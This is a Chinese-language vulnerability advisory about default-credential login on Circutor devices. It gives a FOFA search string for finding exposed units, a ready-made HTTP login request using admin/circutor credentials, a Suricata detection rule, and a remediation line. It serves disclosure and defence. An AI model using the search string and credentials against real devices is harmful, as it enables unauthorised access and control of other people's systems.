circutor-默认口令登录¶

circutor-默认口令登录，导致数据信息泄露或者导致服务器被控制。

影响版本¶

circutor

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：body="Line-TCPRS1"

POC/EXP：

POST /api/v1/login HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Length: 42

{"Username":"admin","Password":"circutor"}

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"circutor - Default Credentials Login Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/api/v1/login";
    http.header; content:"Content-Type: application/json;charset=UTF-8";
    http.request_body; content:"\"Username\":\"admin\"";
    http.request_body; content:"\"Password\":\"circutor\"";
    metadata:
        service http,
        affected_product "circutor系统",
        vulnerability_type "Default Credentials Login",
        severity "high";
    classtype:policy-violation;
    sid:1000633;
    rev:1;
    priority:2;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。